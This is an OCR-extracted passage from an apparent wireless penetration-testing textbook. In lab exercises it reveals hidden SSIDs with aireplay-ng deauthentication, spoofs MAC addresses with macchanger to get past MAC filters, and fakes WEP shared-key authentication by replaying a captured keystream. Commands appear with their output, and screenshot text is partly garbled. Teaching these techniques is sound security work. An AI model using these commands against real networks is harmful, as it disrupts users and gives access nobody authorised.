11	0.483206	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1105,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
13	0.581454	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1106,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
15	0.686168	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1107,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
18	0.788321	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1108,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
21	0.887379	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1109,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
24	0.994475	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1110,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
27	1.093457	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1111,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
31	1.194809	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1112,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
34	1.296837	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1113,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	
35	1.413898	D-Link_d2:8e:25	Broadcast	IEEE 802	Beacon	frame,	SN=1114,	FN=0,	Flags=C,	BI=100,	SSID=Broadcast	-
▶ Erame	4 (239 byt)	es on wire. 239 bytes	captured)									-
h Radio	tan Heador	v@ Length 32	copron cor									
N TEEE	POD 11 Ponc	on frame Elago.	C									_
TEEE I	002.11 Deac	Ince IAN second f										_
· IEEE	002.11 WITE	(12 hutee)	ane									_
P Fixe	ed parameter	s (12 bytes)										
♥ Lagg	ged paramete	ers (16/ bytes)										
♥ SS	ID paramete	r set: Broadcast										
1	Tag Number:	0 (SSID parameter set	:)									
1	Tag length:	Ô										
1												
⇒ Su	pported Rat	es: 1.0(B) 2.0(B) 5.5	(B) 11.0(B)									
1	Tag Number:	1 (Supported Rates)										
	Tag length:	4										
	Tag internr	station: Supported rat	AC: 1 0(B) 2 0(B)	5.5(B) 11.0(B) (Mbit	/sec1						
- DC	Decemeter	cot, Current Channel	11	5.5(b) 11.0(b) (nor)	, 9661						
* US	raialeter	set: current channet:	11									-
0000 0	0 00 20 00 1	2f 48 00 00 24 4b a2	38 01 00 00 00									-
0010 1	0 02 9e 09	a0 00 f7 01 00 00 00	00 00 00 00 00									
0020 8	0 00 00 00	ff ff ff ff ff ff ff 00	21 91 d2 8e 25		%							
0.030 0	9 21 91 d2 :	8e 25 e0 44 80 81 3b	46 03 00 00 00	.!%.D:F.								
Interpretat	ion of tag (wlan_r	ngt.tag Packets: 1844 Displa	yed: 560 Marked: 0							Pro	hle: Default	6

- [40] —

4. In order to bypass Beacon frames, we will first use the passive technique of waiting for a legitimate client to connect the access point. This will generate probe request and probe response packets that will contain the SSID of the network, thus revealing its presence:

22				mon0: Capturing - Wireshark	
<u>E</u> le <u>E</u> dit	<u>V</u> iew <u>Go</u> <u>C</u> ap	sture <u>A</u> nalyze <u>S</u> tatistics <u>H</u> elp			
🐺 🕷	êl 🎒 😹		🗢 🌳 🄏 🛃 [E = Q, Q, Q, M H = % H	
Eiter:	wlan.addr == (60:fb:42:d5:e4:01	💌 💠 Expression	ear de clear Clear	
No	Time	Source	Destination	Protocol Info	
54085	2338,3439	51 60:fb:42:d5:e4:01	Broadcast	IEEE 802 Probe Request, SN=2065, FN=0, Flags=C, SSID="Wireless Lab"	
54086	2338.34498	06 D-Link_d2:8e:25	60:fb:42:d5:e4:01	I IEEE 802 Probe Response, SN=2961, FN=0, Flags=C, BI=100, SSID="Wireless	
54093	2338.60213	34 60:fb:42:d5:e4:01	D-Link_d2:8e:25	IEEE 802 Authentication, SN=2066, FN=0, Flags=C	
54095	2338.60488	39 D-Link_d2:8e:25	60:fb:42:d5:e4:01	1 IEEE 802 Authentication, SN=2964, FN=0, Flags=C	
54098	2338.65298	04 60:fb:42:d5:e4:01	D-Link_d2:8e:25	IEEE 802 Association Request, SN=2067, FN=0, Flags=C, SSID="Wireless La	iD.
54100	2338.00083	56 D-LINK_02:88:25	D 1 (pk d2:05:e4:0)	II TEEE 802 Association Mesponse, SN=2900, FN=0, Flags=	
54109	2338.82185	55 D-Link d2:8e:25	60:fb:42:d5:e4:01	11 IEEE 802 Probe Response, SN=2969, FN=0, Flags=C. BI=100, SSID="Wireless	6 L -
54485	2348.65816	56 60:fb:42:d5:e4:01	D-Link d2:8e:25	IEEE 802 QoS Null function (No data), SN=0, FN=0, Flags=PTC	
54486	2348.66024	4 0.0.0.0	255.255.255.255	DHCP DHCP Request - Transaction ID 0x4389bf3d	
▶ Frame	54086 (369) bytes on wire, 369 by	tes captured)		-
Radio	tap Header	v0, Length 32			
> IEEE	802.11 Prot	e Response, Flags:	C		
V IEEE	802.11 wire	eless LAN management fr	ame		
▶ Fixe	d paramete	rs (12 bytes)			
	ed paramet	ers (297 bytes)			
▼ SS	ID paramete	er set: "Wireless Lab"			
1 1	ag Number:	0 (SSID parameter set)		
1	Fag length:	12			
1	ſag interpr	etation: Wireless Lab			
▶ Su	pported Rat	tes: 1.0(B) 2.0(B) 5.5(B) 11.0(B)		
▶ DS	Parameter	set: Current Channel:	11		
▶ ER	P Informati	ion: no Non-ERP STAs, o	o not use protecti	ion, short or long preambles	
▶ Ex	tended Supp	corted Rates: 6.0 9.0 1	2.0 18.0 24.0 36.0	0 48.0 54.0	
> Ve	ndor Specif	fic: WME			
▶ Ve	ndor Specif	fic: HT Capabilities (8	02.11n D1.10)		
▶ Ve	ndor Specif	fic: HT Additional Capa	bilities (802.11n	D1.00)	- 11
▶ HT	Capabiliti	ies (802.11n D1.10)			Ŧ
0848 6	4 00 21 04	00 0c 57 69 72 65 6c	65 73 73 20 4c d	d.!Wi reless L	4
0050	1 62 01 04	82 84 8b 96 03 01 0b	2a 01 00 32 08	······*··2.	_ <u>_</u> _
0000 0	c 12 18 24	30 48 50 5C dd 18 00	30 T2 02 01 01 .	· · · · · · · · · · · · · · · · · · ·	
Interpretat	ion of tag (wlan_	mgt.tag Packets: 70250 Displa	yed: 217 Marked: 0	Profile: Default	1

- [41] —

Bypassing WLAN Authentication

5. Alternately, you can use the aireplay-ng utility to send deauthentication packets to all stations on behalf of the Wireless Lab access point by typing aireplay-ng -0 5 -a <mac> --ignore-negative mon0, where <mac> is the MAC address of the router. The -0 option is used to choose a deauthentication attack, and 5 is the number of deauthentication packets to send. Finally, -a specifies the MAC address of the access point you are targeting:

root@kali: ~	-		×
File Edit View Search Terminal Help			
<pre>root@kali:~# aireplay-ng -0 5 -a E8:94:F6:62:1E:8Eignore-negative-c 19:38:16 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on chann NB: this attack is more effective when targeting a connected wireless client (-c <client's mac="">). 19:38:16 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:1E:8E] 19:38:17 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:1E:8E] 19:38:17 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:1E:8E]</client's></pre>	ne m el -	on0 1	
19:38:17 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:1E:8E] 19:38:18 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:1E:8E]			

6. The preceding deauthentication packets will force all legitimate clients to disconnect and reconnect. It would be a good idea to add a filter for deauthentication packets to view them in an isolated way:

💿 mon0: Capturing - Wireshark 🗒 🗟 🖉									
Ele Edit ⊻iew ⊈o ⊆apture Analyze Statistics Help									
꽃 철 철 철 🖹 🖻 🐹 🗶 후 🖕 🐳 주 🕹 🗐 📑 💷 이 이 이 🔍 🗹 🔯 🕅 📴 % 🗍 💢									
Filter: wlan.fc.type_subtype == 0x0c	Expression.	🛓 Clear 🍕 Apply							
No Time Source	Destination	Protocol Info	-						
230 14.762645 D-Link d2:8e:25 231 14.762658 D-Link d2:8e:25 236 15.000852 D-Link d2:8e:25 243 15.000864 D-Link d2:8e:25 243 15.238118 D-Link d2:8e:25 245 15.238134 D-Link d2:8e:25 249 15.478655 D-Link d2:8e:25 250 15.478657 D-Link d2:8e:25 251 15.717156 D-Link d2:8e:25	Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast	IEEE 802 Deauthentication, SN=0, FN=0, Flags= IEEE 802 Deauthentication, SN=0, FN=0, Flags= IEEE 802 Deauthentication, SN=1, FN=0, Flags= IEEE 802 Deauthentication, SN=2, FN=0, Flags= IEEE 802 Deauthentication, SN=2, FN=0, Flags= IEEE 802 Deauthentication, SN=3, FN=0, Flags= IEEE 802 Deauthentication, SN=3, FN=0, Flags= IEEE 802 Deauthentication, SN=4, FN=0, Flags= IEEE 802 Deauthentication, SN=4, FN=0, Flags=							
 Kaolotap Header V0, Length 12 IEEE 802.11 Deauthentication, Flags: Type/Subtype: Deauthentication, Flags: Type/Subtype: Deauthentication (0x6 Frame Control: 0x00C0 (Normal) Duration: 314 Destination address: Broadcast (ff: Source address: D-Link_d2:8e:25 (00: BSS Id: D-Link_d2:8e:25 (00:21:91:c Fragment number: 0 Sequence number: 0 IEEE 802.11 wireless LAN management 	 cf:ff:ff:ff:ff) 0:21:91:d2:8e:25) 12:8e:25) frame								
0000 00 00 0c 00 04 80 00 00 02 00 1 0010 ff ff ff ff ff ff f0 02 1 91 d2 8 0020 8e 25 00 00 07 00	8 00 c0 00 3a 01 e 25 00 21 91 d2		-						
mon0: live capture in progress> Fi Packets: 1525 Disp	ayed: 417 Marked: 0	Profile: Default	10						

7. The probe responses from the access point will end up revealing its hidden SSID. These packets will show up on Wireshark as shown next. Once the legitimate clients connect back, we can see the hidden SSID using the probe request and probe response frames. You can use the filter (wlan.bssid == 00:21:91:d2:8e:25) && !(wlan.fc.type_subtype == 0x08) to monitor all non-Beacon packets to and fro from the access point. The && sign stands for the logical AND operator and the ! sign stands for the logical NOT operator:

2 🗐	l (Untitled) - Wireshark 🗒 🗑 🗑							
<u>E</u> le <u>E</u> dit	⊻iew <u>G</u> o <u>C</u> apt	ure Analyze ≦tatistics Help						
.	94 94 94 1	e 🖬 🗙 😂 📇 🔍	🗢 🔶 😜 🐴 🛃 🔳		2, 0, 🖂 🗑 题 % 🛙 🧱			
M <u>F</u> ilter:	1:d2:0e:25) &&	!(wlan.fc.type_subtype == 0	0x08) 💌 💠 Expression 🚢	<u>c</u> lear 🎻 Apply				
No	Time	Source	Destination	Protocol	info			
544	19.151213	D-Link d2:8e:25	60:fb:42:d5:e4:01	IEEE 802	Probe Response, SN=3545, FN=0, Flags=C, BI=100, SSID="Wireless Lab"			
556	19.256080	60:fb:42:d5:e4:01	D-Link_d2:8e:25	IEEE 802	Authentication, SN=2114, FN=0, Flags=C			
551	19.257083	60:fb:42:d5:e4:01	D-Link_d2:8e:25	IEEE 802	Authentication, SN=2114, FN=0, Flags=RC			
553	3 19.259069	D-L1nk_d2:8e:25	60:fb:42:d5:e4:01	IEEE 802	Authentication, SN=3548, FN=0, Flags=C			
550	19.313130	D-Link d2:8e:25	D-LINK_02:80:25	1666 802	Association Request, SN=2115, FN=0, Flags=			
562	9 19.364132	60:fb:42:d5:e4:01	D-Link d2:8e:25	IEEE 802	Probe Request. SN=2116. FN=0. Flags=C. SSID="Wireless Lab"			
563	19.365087	60:fb:42:d5:e4:01	D-Link_d2:8e:25	IEEE 802	Probe Request, SN=2116, FN=0, Flags=RC. SSID="Wireless Lab"			
565	5 19.367079	D-Link d2:8e:25	60:fb:42:d5:e4:01	IEEE 802	Probe Response, SN=3551, FN=0, Flags=C, BI=100, SSID="Wireless Lab"			
825	5 29.325334	0.0.0.0	255.255.255.255	DHCP	DHCP Request - Transaction ID 0x4389bf46			
826	5 29.328345	192.168.0.1	255.255.255.255	DHCP	DHCP ACK - Transaction ID 0x4389bf46			
827	7 29.336339	0.0.0.0	255.255.255.255	DHOP	DHCP Request - Transaction ID 0x4389bf47			
Frame	544 (369 by	/tes on wire, 369 byte	s captured)					
Radio	tap Header v	/0, Length 32						
IEEE	802.11 Probe	Response, Flags:	C					
▼ IEEE	802.11 wirel	less LAN management fr	ame					
▶ Fixe	ed parameter	s (12 bytes)						
	ed paramete	rs (297 bytes)						
▼ SS	ID parameter	r set: "Wireless Lab"						
	Tag Number:	0 (SSID parameter set)					
	Tag length:	12						
	Tag interpre	atation: Wireless Lab						
♦ Su	pported Rate	es: 1.0(B) 2.0(B) 5.5(B) 11.0(B)					
▶ DS	Parameter s	set: Current Channel:	11					
▶ ER	P Informatio	on: no Non-ERP STAs. d	to not use protection.	, short or	long preambles			
▶ Ex	tended Suppo	orted Rates: 6.0 9.0 1	2.0 18.0 24.0 36.0 48	3.0 54.0	÷ ·			
▶ Ve	ndor Specifi	ic: WME						
▶ Ve	ndor Specifi	ic: HT Capabilities (8	02.11n D1.10)					
0040 6	4 00 21 04 0	00 0c 57 69 72 65 6c	65 73 73 20 4c d. l.	wi reles	s			
0050 8	1 62 01 04 8	32 84 8b 96 03 01 0b	2a 01 00 32 08 ab	*	.2.			
0060 0	c 12 18 24 3	30 48 60 6c dd 18 00	50 f2 02 01 01\$	0H`lP.				
0970 0	0 00 03 a4 0	00 00 27 a4 08 00 42	43 5e 00 62 32	'BC^	.h2			
interpretat	ion of tag (wian_m	ngt.tag] Packets: 945 Displaye	a: 61 Marked: 0 Dropped: 0		3 Profile: Default			

What just happened?

Even though the SSID is hidden and not broadcasted, whenever a legitimate client tries to connect to the access point, they exchange probe request and probe response packets. These packets contain the SSID of the access point. As these packets are not encrypted, they can be very easily sniffed from the air and the SSID can be found.

We will cover using probe requests for other purposes such as tracking in a later chapter.

In many cases, all clients may be already connected to the access point and there may be no probe request/response packets available in the Wireshark trace. Here, we can forcibly disconnect the clients from the access point by sending forged deauthentication packets on the air. These packets will force the clients to reconnect back to the access point, thus revealing the SSID. Bypassing WLAN Authentication

Have a go hero – selecting deauthentication

In the previous exercise, we sent broadcast deauthentication packets to force reconnection of all wireless clients. Try to verify how you can selectively target individual clients using the aireplay-ng utility.

It is important to note that, even though we are illustrating many of these concepts using Wireshark, it is possible to orchestrate these attacks with other tools, such as the <code>aircrack-ng</code> suite as well. We encourage you to explore the entire aircrack-NG suite of tools and other documentation located on their website at http://www.aircrack-NG suite as well. We encourage you to explore the entire aircrack-NG suite of tools and other documentation located on their website at http://www.aircrack-NG suite of tools and other documentation located on their website at http://www.aircrack-ng.org.

MAC filters

MAC filters are an age-old technique used for authentication and authorization and have their roots in the wired world. Unfortunately, they fail miserably in the wireless world.

The basic idea is to authenticate based on the MAC address of the client. The MAC filter is an identification code assigned to a network interface; a router will be able to check this code and compare it to a list of approved MACs. This list of allowed MAC addresses will be maintained by the network administrator and will be fed into the access point. We will now take a look at how easy it is to bypass MAC filters.

Time for action – beating MAC filters

Let's follow the instructions to get started:

1. Let's first configure our access point to use MAC filtering and then add the client MAC address of the victim laptop. The settings pages on my router looks as follows:

TP-LINK	
Status Quick Setup WD S	Wireless MAC Filtering
Network Wireless	Wireless MAC Filtering: Enabled Disable
Wireless Security Wireless MAC Filtering Wireless Advanced	Filtering Rules
- Wireless Statistics DHCP Forwarding	ID MAC Address Status Description Modify
Security Parental Control Access Control Advanced Routing	Add New Enable All Disable All Delete All

[44] -

- **2.** Once MAC filtering is enabled, only the allowed MAC address will be able to successfully authenticate with the access point. If we try to connect to the access point from a machine with a non-whitelisted MAC address, the connection will fail.
- **3.** Behind the scenes, the access point is sending Authentication failure messages to the client. The packet trace resembles the following:

0		mon0: Captu	ıring - Wireshark	
<u>F</u> ile <u>E</u> dit ⊻iew <u>G</u> o	<u>Capture</u> <u>Analyze</u> <u>Statistics</u> <u>H</u> elp			
	i de 17 x 2 4 19,	. 🗢 🔿 🍄 🛃	🔲 🛃 (Đ, Q, Q, 🖭 🌌 🖺	1 🌇 💥 🛙 🗮
🗹 Eilter: 🛛 (wlan.bssi	d == 00:21:91:d2:8e:25) && !(w	/lan.fc 💌 🕂 Expression	着 Clear 🗹 Apply	
No. Time 1298 45.9142 1300 45.9712 1304 46.0944 1305 46.0966 1390 60.7690 1404 62.6230	Source 47 00:10:42:03:04:01 13 60:fb:42:05:e4:01 41 60:fb:42:d5:e4:01 47 60:fb:42:d5:e4:01 47 60:fb:42:d5:e4:01 47 5:b:10:42:d5:e4:01 47 60:fb:42:d5:e4:01 47 5:b:10:42:d5:e4:01 47 5:b:10:42:d5:e4:01 52 D-Link_d2:8e:25 52 D-Link_d2:8e:25	Destination D-LINK_02:80:25 D-LINK_02:80:25 D-LINK_02:80:25 D-LINK_02:80:25 Alfa_30:80:93 Alfa_30:80:93	Protocol Info IEEE 802 QOS NULL FUNCT: IEEE 802 QOS NULL FUNCT: IEEE 802 QOS NULL funct: IEEE 802 QOS NULL funct: IEEE 802 Probe Response IEEE 802 Authentication	ION (NO data), SN=70, FN=0, Flags ion (No data), SN=71, FN=0, Flags ion (No data), SN=72, FN=0, Flags ion (No data), SN=73, FN=0, Flags , SN=955, FN=0, Flags=
1406 62.6174 1410 62 8610	36 Alfa_3e:bd:93 98 D-Link d2+8e+25	D-Link_d2:8e:25 ∆lfa 3e∙hd∙93	IEEE 802 Authentication IEEE 802 Authentication	, SN=11, FN=0, Flags= SN=978 FN=0 Flags= C
 Frame 1404 (6 Radiotap Head IEEE 802.11 A IEEE 802.11 w Fixed parame Authentica Authentica Status cool 	6 bytes on wire, 66 byte er v0, Length 32 uthentication, Flags: ireless LAN management f aters (6 bytes) tion Algorithm: Open Sys tion SEQ: 0x0002 le: Unspecified failure (s captured) C rame stem (0)		
0020 b0 00 40 0030 00 21 91 0040 9a 79	01 00 c0 ca 3e bd 93 00 d2 8e 25 e0 3c 00 00 02	21 91 d2 8e 25 . 2 00 <u>01 00</u> df 47 .	.@>!% !%.< <mark></mark> .G y	
Status of requested ev	ent (wlan_m Packets: 22464 Disp	layed: 608 Marked: 0		Profile: Default

Bypassing WLAN Authentication

4. In order to beat MAC filters, we can use airodump-ng to find the MAC addresses of clients connected to the access point. We can do this by issuing the airodump-ng -c 11 -a --bssid <mac> mon0 command. By specifying the bssid command, we will only monitor the access point, which is of interest to us. The -c 11 command sets the channel to 11 where the access point is. The -a command ensures that, in the client section of the airodump-NG output, only clients associated and connected to an access point are shown. This will show us all the client MAC addresses associated with the access point:

CH 12][Elapsed:	1 min][2014-11-0	98 16:4	41						
BSSID	PWR Bea	acons #	≇Data,	#/s	СН	МВ	ENC	CIPHER	AUTH	ESSID
E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08 34:6B:D3:59:9C:BE 00:0B:3B:7C:D0:8D	0 -77 -84 -96 -101	891 25 22 2 9	54 28 9 0	1 0 0 0	3 11 1 11 6	54e 54e 54e 54e 54	WEP WPA2 WPA WPA2 WPA2	WEP CCMP TKIP CCMP 2 CCMP	OPN PSK PSK PSK PSK	Wireless Lab everythingwillprobablynotb Upstairs BTHub3-R9Q5 Downstairs
BSSID	STATION		PWR	Ra	te	Los	t f	- rames	Prob	e
E8:94:F6:62:1E:8E E8:94:F6:62:1E:8E (not associated) 9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08	4C:0F:6E 00:EE:BE 80:1F:02 20:10:7# 5C:F6:D0	E:70:BD:CE D:B3:62:DE 2:8F:34:DE A:45:36:61 C:D4:61:14	3 -43 -65 5 0 L -79 4 -81	54 0 10 18	-54 - 1 - 1 e- 1 e- 36	e ieter yo	54 78 0 0	41 43 13 ne, the go	Wire re you a	re able to hear.

5. Once we find a whitelisted client's MAC address, we can spoof the MAC address of the client using the macchanger utility, which ships with BackTrack. You can use the macchanger -m <mac> wlan0 command to get this done. The MAC address you specify with the -m command option is the new spoofed MAC address for the wlan0 interface:

					root@ka	ali: ~			
File	Edit	View	Search	Terminal	Help				
<mark>root(</mark> root(Perma	kali kali anent	:~# if :~# ma MAC:	fconfig acchange 80:1f:0	wlan0 do er -m 00: 02:8f:34	own :EE:BD:83 :d5 (Edir	3:62 max	:DE wlan0 Technology	Co.	Ltd.)
Curre New <mark>root(</mark>	ent Ikali	MAC: MAC: :~# i1	80:1f:0 00:ee:b fconfig	02:8f:34 od:83:62 wlan0 up	:d5 (Edir :de (unkr o	max nown	Technology)	Co.	Ltd.)

6. As you can clearly see, we are now able to connect to the access point after spoofing the MAC address of a whitelisted client.

What just happened?

We monitored the air using airodump-ng and found the MAC address of legitimate clients connected to the wireless network. We then used the macchanger utility to change our wireless card's MAC address to match the client's. This fooled the access point into believing that we were the legitimate client, and it allowed us access to its wireless network.

You are encouraged to explore the different options of the airodump-NG utility by going through the documentation on their website at http://www.aircrack-ng.org/doku.php?id=airodump-ng.

Open Authentication

The term Open Authentication is almost a misnomer, as it actually provides no authentication at all. When an access point is configured to use Open Authentication, it will successfully authenticate all clients that connect to it.

We will now do an exercise to authenticate and connect to an access point using Open Authentication.

Time for action – bypassing Open Authentication

Let's now take a look at how to bypass Open Authentication:

We will first set our lab access point Wireless Lab to use Open Authentication.
 On my access point, this is simply done by setting Security Mode to Disable Security:

	K.	
		A
Status		
Quick Setup	Wireless Security	
WPS		
Network	Disable Security	
Wireless	J	
- Wireless Settings		
- Wireless Security	WPA/WPA2 - Persona	al(Recommended)
- Wireless MAC Filtering	Version:	WPA2-PSK •
- Wireless Advanced	Encryption:	AES V
- Wireless Statistics	Wireless Password:	88455808
DHCP		(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.)
Forwarding	Group Key Update Period:	0 Seconds
Security		(Keep it default if you are not sure, minimum is 30, 0 means no update)
Parental Control		
Access Control	WPA/WPA2 - Enterph	ise
Advanced Routing	Version:	Automatic
Bandwidth Control	Encryption:	Automatic •
IP & MAC Binding	Radius Server IP:	
Dynamic DNS	Radius Port:	1812 (1-65535, 0 stands for default port 1812)
System Tools	Radius Password:	

- 2. We then connect to this access point using the iwconfig wlan0 essid Wireless Lab command and verify that the connection has succeeded and that we are connected to the access point.
- **3.** Note that we did not have to supply any username/password/passphrase to get through Open Authentication.

What just happened?

This is probably the simplest exercise so far. As you saw, there is no barrier to connecting to an Open Authentication network and connecting to the access point.

Shared Key Authentication

Shared Key Authentication uses a shared secret such as the WEP key to authenticate the client. The exact exchange of information is illustrated in the following screenshot (taken from www.netgear.com):



The wireless client sends an authentication request to the access point, which responds back with a challenge. The client now needs to encrypt this challenge with the shared key and send it back to the access point, which decrypts this to check whether it can recover the original challenge text. If it succeeds, the client successfully authenticates; if not, it sends an authentication failed message. The security problem here is that an attacker passively listening to this entire communication by sniffing the air has access to both the plain text challenge and the encrypted challenge. He can apply the XOR operation to retrieve the keystream. This keystream can be used to encrypt any future challenge sent by the access point without needing to know the actual key.

The most common form of shared authentication is known as WEP or Wired Equivalent Protocol. It is easy to break, and numerous tools have been created over time to facilitate the cracking of WEP networks.

In this exercise, we will learn how to sniff the air to retrieve the challenge and the encrypted challenge, retrieve the keystream, and use it to authenticate to the access point without needing the shared key.

Time for action – bypassing Shared Authentication

Bypassing Shared Authentication is a bit more challenging than the previous exercises, so follow the steps carefully:

 Let's first set up Shared Authentication for our Wireless Lab network. I have done this on my access point by setting the security mode as WEP and Authentication as Shared Key:

TP-LINK	70 		
		ommonded)	
Status	WFA/WFA2 - Feisonai(Rec	MIDA2 DOK	
wos	Version:	WPA2-PSK ·	
Notwork	Encryption:	AES	
Wireless	Wireless Password:	88455808	
Wirologe Sottinge		(You can enter ASCII characters between 8	and 63 or Hexadecimal characters between 8 and 64.)
- Wireless Security	Group Key Update Period:	0 Seconds	
- Wireless Security		(Keep it default if you are not sure, minimun	n is 30, 0 means no update)
- Wireless MAC Filtering	WPA/WPA2 - Enterprise		
Wireless Statistics	Version:	Automatic 🔹	
DHCP	Encryption:	Automatic •	
Forwarding	Radius Server IP:		
Security	Radius Port:	1812 (1-65535, 0 stands for defau	ilt port 1812)
Parental Control	Radius Password:		
Access Control	Group Key Update Period:	0 (in second, minimum is	30, 0 means no update)
Advanced Routing	WEP		
Bandwidth Control	Type:	Automatic	
IP & MAC Binding	WEP Key Format:	Hexadecimal V	
Dynamic DNS	Key Selected	WEP Key	Key Type
System Tools	Key 1:	abcdefabcdefabcdefabcdef12	128bit V
	Key 2:		
	Key 3:		Disabled T
	Key 4:		
	We do not recommend using the	WEP encryption if this device operates in 802 1	11n mode due to the fact that WEP is not supported by
	802.11n specification.		
		Save	

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- **2.** Let's now connect a legitimate client to this network using the shared key we have set in step 1.
- **3.** In order to bypass Shared Key Authentication, we will first start sniffing packets between the access point and its clients. However, we would also like to log the entire shared authentication exchange. To do this, we use the airodump-ng utility using the airodump-ng mon0 -c 11 --bssid <mac> -w keystream command. The -w option, which is new here, requests Airodump-NG to store the packets in a file whose name is prefixed with the word **keystream**. Incidentally, it might be a good idea to store different sessions of packet captures in different files. This allows you to analyze them long after the trace has been collected:

][2014-11-08	16:54 JL fixed	channel	mon0: -1
BSSID PW	R RXQ Beacons	#Data, #/s	CH MB	ENC CIPHER AUTH E
80:1F:02:8F:34:D5	9 100 32	0 0	3 54	WEP WEP W
BSSID ST	ATION	PWR Rate	Lost	Frames Probe

- **4.** We can either wait for a legitimate client to connect to the access point or force a reconnect using the deauthentication technique used previously. Once a client connects and the shared key authentication succeeds, airodump-ng will capture this exchange automatically by sniffing the air. An indication that the capture has succeeded is when the AUTH column reads WEP.
- 5. The captured keystream is stored in a file prefixed with the words keystream file in the current directory. In my case, the name of the file is keystream-01-00-21-91-D2-8E-25.xor.
- 6. In order to fake a shared key authentication, we will use the aireplay-ng tool. We run the aireplay-ng -1 0 -e "Wireless Lab" -y keystream-01-00-21-91-D2-8E-25.xor -a <mac> -h AA:AA:AA:AA:AA:AA mon0 command. This aireplay-ng command uses the keystream we retrieved in step 5 and tries to authenticate with the access point with SSID Wireless Lab and MAC address 00:21:91:D2:8E:25, and uses an arbitrary client MAC address AA:AA:AA:AA:AA:AA. Fire up Wireshark and sniff all packets of interest by applying a wlan.addr == AA:AA:AA:AA:AA:AA filter. We can verify this using Wireshark. You should see a trace on the Wireshark screen, as shown in the following screenshot:

1		(Untitled) - Wiresha	rk						
Ele Edit View 😳 Capture Analyze Statistics Help									
\$									
Eiter: (wlan.addr == ad	itaataataataa)	💽 🜩 Expression 📥 Clear 🍕 🖉	spply						
No Time	Source	Destination	Protocol Info		<u> </u>				
559 28.476433	aa:aa:aa:aa:aa:aa	D-Link_d2:8e:25	IEEE 802 Authentication	, SN=0, FN=0, Flags=					
561 28.485326	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
562 28.476454	aa:aa:aa:aa:aa:aa	D-Link_d2:8e:25	IEEE 802 Authentication	, SN=0, FN=0, Flags=	· · · []]				
563 28.487057	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
564 28.488037	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
565 28.490002	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
566 28.492169	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
567 28.493060	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
568 28.495134	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
569 28.497262	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
570 28.498987	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
571 28.501014	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=.					
572 28.502062	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication	, SN=2950, FN=0, Flags=					
4					•				
Frame 611 (70 by	tes on wire, 70 bytes	captured)			A				
Radiotap Header	v0. Length 12								
> IEEE 802.11 Asso	ciation Request, Flag	5:							
IEEE 802.11 wire	less LAN management f	rame							
Fixed parameter	rs (4 bytes)								
Capability In	formation: 0x0431								
Listen Interv	al: 0x0064								
Tagged parameter	ers (30 bytes)								
✓ SSID paramete	r set: "Wireless Lab"				- 11				
Tag Number:	0 (SSID parameter set)							
					-				
0000 00 00 0c 00	04 80 00 00 02 00 18	00 00 00 3a 01			-				
0010 00 21 91 d2	Se 25 aa aa aa aa aa aa	aa 00 21 91 d2 .!	No						
0020 8e 25 60 00	31 04 64 00 00 0c 57	ba /2 65 66 65 .% .]	L.dWirele		Ŧ				
Print and the second second second	50 K : Packets: 2896 Displayed: 1	05 Marked: 0 Dropped: 0		3 Profile: Default	1				

7. The first packet is the authentication request sent by the aireplay-ng tool to the access point:



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8. The second packet consists of the access point sending the client challenge text, as shown in the following screenshot:

	(Untitled) - Wiresha	fk .	
<u>Ble Edit View Go Capture Analyze Statistics Help</u>			
雙壓壓壓壓 一部 12 × 23 14 (4) 4	🔶 🦇 暮 👱 🔲 🕞 🖗 🤅	. २. ९. 🖭 🐺 🕅 🛅 % (¥
🕅 Elter: (wlan.addr == aa:aa:aa:aa:aa:aa)	💌 💠 Expression 📥 Clear 🎺 A	pply	
No Time Source	Destination	Protocol Info	-
